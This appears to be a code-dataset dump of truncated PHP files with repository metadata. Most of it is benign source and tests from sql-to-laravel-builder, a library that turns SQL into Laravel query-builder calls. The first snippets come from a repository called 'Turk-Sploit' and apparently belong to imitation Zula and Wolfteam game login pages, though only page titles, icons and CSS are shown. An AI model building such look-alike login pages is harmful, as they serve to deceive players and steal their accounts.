<!DOCTYPE html> <html> <head> <title> -- Zula V1.3 -- </title> <link rel="shortcut icon" href="https://is4-ssl.mzstatic.com/image/thumb/Purple115/v4/e4/4c/80/e44c8087-a9b0-4ff3-f7f6-fdc2de46ab80/source/256x256bb.jpg" type="image/vnd.microsoft.icon"> <style type="text/css"> .div1{ background-color:#0...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Game/Site-wolfteam/index.php
Site/Game/Site-wolfteam/index.php
<!DOCTYPE html> <html> <head> <title> -- Zula V1.3 -- </title> <link rel="shortcut icon" href="https://baksen.org/wp-content/uploads/2017/11/maxresdefault.jpg" type="image/vnd.microsoft.icon"> <style type="text/css"> .div1{ background-color:#040302; height: 710px; width: 500px; bor...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Game/Site-zula/index.php
Site/Game/Site-zula/index.php
<!DOCTYPE html> <html> <head> <title> -- Zula V1.3 -- </title> <link rel="shortcut icon" href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxISEBAQEBAVFRAQEA8PDxUVEhAPDw8PFREWFhURFRUYHSggGBolGxUVITIhJSkrLi4uFx8zODMsNygtLisBCgoKDg0OFxAQFysdGB0tLS0tLS4tLSsrKy0tLS0rKy0rLS4tLS0tLS0tKy0tKysrNy0tKystL...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/Options.php
src/Options.php
<?php namespace RexShijaku\SQLToLaravelBuilder; class Options { private $options; private $aggregate_fn = array('sum', 'min', 'max', 'avg', 'sum', 'count'); private $defaults = array( 'facade' => 'DB::', 'group' => true ); private $supporting_fn = array('date', 'month', 'year' ,'da...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/AbstractCreator.php
src/AbstractCreator.php
<?php namespace RexShijaku\SQLToLaravelBuilder; /** * This class provides additional functionality for the Creator class. * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class AbstractCreator { public $qb; public $lastly; public $qb_closed; public $in_union = false; function isSi...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/Creator.php
src/Creator.php
<?php namespace RexShijaku\SQLToLaravelBuilder; use RexShijaku\SQLToLaravelBuilder\builders\CriterionBuilder; use RexShijaku\SQLToLaravelBuilder\builders\DeleteBuilder; use RexShijaku\SQLToLaravelBuilder\builders\FromBuilder; use RexShijaku\SQLToLaravelBuilder\builders\GroupByBuilder; use RexShijaku\SQLToLaravelBuild...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/SQLToLaravelBuilder.php
src/SQLToLaravelBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder; use PHPSQLParser\PHPSQLParser; class SQLToLaravelBuilder { private $sql; private $creator; private $options; private $temp; public function __construct($options = null) { $this->options = new Options($options); } /** * Co...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/utils/CriterionContext.php
src/utils/CriterionContext.php
<?php namespace RexShijaku\SQLToLaravelBuilder\utils; class CriterionContext { const Having = 'having'; const Where = 'where'; const Join = 'join'; }
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/utils/SelectQueryTypes.php
src/utils/SelectQueryTypes.php
<?php namespace RexShijaku\SQLToLaravelBuilder\utils; class SelectQueryTypes { const Aggregate = 'aggregate'; const CountATable = 'count_a_table'; const Other = 'other'; }
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/utils/CriterionTypes.php
src/utils/CriterionTypes.php
<?php namespace RexShijaku\SQLToLaravelBuilder\utils; class CriterionTypes { const Against = 'against'; const Between = 'between'; const Comparison = 'comparison'; const Group = 'group'; const InField = 'in_field'; const InFieldValue = 'in_field_value'; const Is = 'is'; const Like = 'l...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/CriterionExtractor.php
src/extractors/CriterionExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; use RexShijaku\SQLToLaravelBuilder\utils\CriterionContext; use RexShijaku\SQLToLaravelBuilder\utils\CriterionTypes; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * where * orWhere * whereRaw * or...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/UpdateExtractor.php
src/extractors/UpdateExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * update * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class UpdateExtractor extends AbstractExtractor implements Extractor { public fun...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/AbstractExtractor.php
src/extractors/AbstractExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class provides common functionality for all Extractor classes. * Extractor classes are classes which help to pull out SQL query parts in a way which are more understandable and processable by Builder. * * @author Rexhep Shijaku <rexhepshijaku@g...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/LimitExtractor.php
src/extractors/LimitExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * offset * limit * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class LimitExtractor extends AbstractExtractor implements Extractor { p...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/JoinExtractor.php
src/extractors/JoinExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; use RexShijaku\SQLToLaravelBuilder\utils\CriterionContext; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * join * leftJoin * rightJoin * crossJoin * * @author Rexhep Shijaku <rexhepshijaku@gmail...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/SelectExtractor.php
src/extractors/SelectExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; use RexShijaku\SQLToLaravelBuilder\utils\SelectQueryTypes; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * table * distinct * select * sum * avg * min * max * count * * @author Rexhep S...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/OrderExtractor.php
src/extractors/OrderExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * orderBy * orderByRaw * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class OrderExtractor extends AbstractExtractor implements Extractor { ...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/InsertExtractor.php
src/extractors/InsertExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * insert * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class InsertExtractor extends AbstractExtractor implements Extractor { public fun...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/FromExtractor.php
src/extractors/FromExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * table * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class FromExtractor extends AbstractExtractor implements Extractor { public functio...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/Extractor.php
src/extractors/Extractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * Extractor.php * * Interface declaration for all extractor classes. * An extractor can create pull out SQL query parts in a way which are more understandable and processable by Builder. * The necessary information are provided by the function pa...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/HavingExtractor.php
src/extractors/HavingExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; use RexShijaku\SQLToLaravelBuilder\utils\CriterionContext; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * having * orHaving * havingRaw * orHavingRaw * havingBetween * * @author Rexhep Shija...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/DeleteExtractor.php
src/extractors/DeleteExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * delete * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class DeleteExtractor extends AbstractExtractor implements Extractor { public fun...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/extractors/GroupByExtractor.php
src/extractors/GroupByExtractor.php
<?php namespace RexShijaku\SQLToLaravelBuilder\extractors; /** * This class extracts and compiles SQL query parts for the following Query Builder methods : * * groupBy * groupByRaw * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class GroupByExtractor extends AbstractExtractor implements Extractor ...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/InsertBuilder.php
src/builders/InsertBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * insert * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class InsertBuilder extends AbstractBuilder implements Builder { public function build(array $parts, arr...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/Builder.php
src/builders/Builder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * Builder.php * * Interface declaration for all builder classes. * A builder can create a part (method) of Query Builder. The necessary information * are provided by the function parameter as array. This array is compiled from * the corresponding...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/UpdateBuilder.php
src/builders/UpdateBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * update * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class UpdateBuilder extends AbstractBuilder implements Builder { public function build(array $parts, arra...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/JoinBuilder.php
src/builders/JoinBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * join * leftJoin * rightJoin * crossJoin * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class JoinBuilder extends AbstractBuilder implements Builder { pu...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/FromBuilder.php
src/builders/FromBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * table * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class FromBuilder extends AbstractBuilder implements Builder { public function build(array $parts, array &...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/AbstractBuilder.php
src/builders/AbstractBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class provides common functionality for all Builder classes. * Builder classes are classes which help to construct Query Builder methods. * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ abstract class AbstractBuilder { /** *...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/OrderBuilder.php
src/builders/OrderBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * orderBy * orderByRaw * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class OrderBuilder extends AbstractBuilder implements Builder { function build(array $pa...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/LimitBuilder.php
src/builders/LimitBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * offset * limit * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class LimitBuilder extends AbstractBuilder implements Builder { public function build(array $pa...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/DeleteBuilder.php
src/builders/DeleteBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * delete * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class DeleteBuilder extends AbstractBuilder implements Builder { public function build(array $parts, array...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/SelectBuilder.php
src/builders/SelectBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; use RexShijaku\SQLToLaravelBuilder\utils\SelectQueryTypes; /** * This class constructs and produces following Query Builder methods : * * table * distinct * select * sum * avg * min * max * count * * @author Rexhep Shijaku <rexhepshijaku@gm...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/UnionBuilder.php
src/builders/UnionBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * union * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class UnionBuilder extends AbstractBuilder implements Builder { public function build(array $parts, array...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/CriterionBuilder.php
src/builders/CriterionBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; use RexShijaku\SQLToLaravelBuilder\utils\CriterionTypes; /** * This class constructs and produces following Query Builder methods : * * where * orWhere * whereRaw * orWhereRaw * * whereBetween * orWhereNotBetween * whereIn * orWhereIn * wh...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/GroupByBuilder.php
src/builders/GroupByBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; /** * This class constructs and produces following Query Builder methods : * * groupBy * groupByRaw * * @author Rexhep Shijaku <rexhepshijaku@gmail.com> * */ class GroupByBuilder extends AbstractBuilder implements Builder { public function build(a...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/src/builders/HavingBuilder.php
src/builders/HavingBuilder.php
<?php namespace RexShijaku\SQLToLaravelBuilder\builders; use RexShijaku\SQLToLaravelBuilder\utils\CriterionTypes; /** * This class constructs and produces following Query Builder methods : * * having * orHaving * havingRaw * orHavingRaw * havingBetween * * @author Rexhep Shijaku <rexhepshijaku@gmail.co...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/OrderTest.php
tests/cases/OrderTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class OrderTest extends AbstractCases { private $type = 'order'; public function testAsc() { $sql = "SELECT * FROM members ORDER BY name DESC, surname ASC"; $converter = new SQLTo...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/UnionTest.php
tests/cases/UnionTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class UnionTest extends AbstractCases { private $type = 'union'; public function testUnion() { $sql = "SELECT * FROM members WHERE age > 25 UNION SELECT * FROM members WHERE name like '%i...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/UpdateTest.php
tests/cases/UpdateTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class UpdateTest extends AbstractCases { private $type = 'update'; public function testAtomic() { $sql = "UPDATE members SET age = 10 WHERE id = 2"; $converter = new SQLToLaravelB...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/DateTimeTest.php
tests/cases/DateTimeTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class DateTimeTest extends AbstractCases { private $type = 'datetime'; public function testDate() { $sql = 'SELECT * FROM members WHERE DATE(created_at) = "2021-03-31" '; $convert...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/LimitTest.php
tests/cases/LimitTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class LimitTest extends AbstractCases { private $type = 'limit'; public function testLimit() { $sql = "SELECT * FROM members LIMIT 1"; $converter = new SQLToLaravelBuilder($this->...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/DistinctTest.php
tests/cases/DistinctTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class DistinctTest extends AbstractCases { private $type = 'distinct'; public function testAll() { $sql = "SELECT DISTINCT * FROM members"; $converter = new SQLToLaravelBuilder($t...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/WhereTest.php
tests/cases/WhereTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class WhereTest extends AbstractCases { private $type = 'where'; public function testAtomic() { $sql = "SELECT * FROM members WHERE age = 25"; $converter = new SQLToLaravelBuilder...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/HavingTest.php
tests/cases/HavingTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class HavingTest extends AbstractCases { private $type = 'having'; public function testHavingBetween() { $sql = "SELECT * FROM members HAVING age BETWEEN 25 AND 35"; $converter = ...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/DeleteTest.php
tests/cases/DeleteTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class DeleteTest extends AbstractCases { private $type = 'delete'; public function testAll() { $sql = "DELETE FROM members"; $converter = new SQLToLaravelBuilder($this->options); ...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false
rexshijaku/sql-to-laravel-builder
https://github.com/rexshijaku/sql-to-laravel-builder/blob/b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec/tests/cases/GroupByTest.php
tests/cases/GroupByTest.php
<?php namespace RexShijaku\SQLToLaravelBuilder\Test; use RexShijaku\SQLToLaravelBuilder\SQLToLaravelBuilder; class GroupByTest extends AbstractCases { private $type = 'group_by'; public function testGroupBy() { $sql = "SELECT age,salary,count(*) FROM members GROUP BY age, salary"; $conve...
php
MIT
b0bbe11a7c7fb9b6cf9a328e2027c65ed42d6eec
2026-01-05T02:51:01.326942Z
false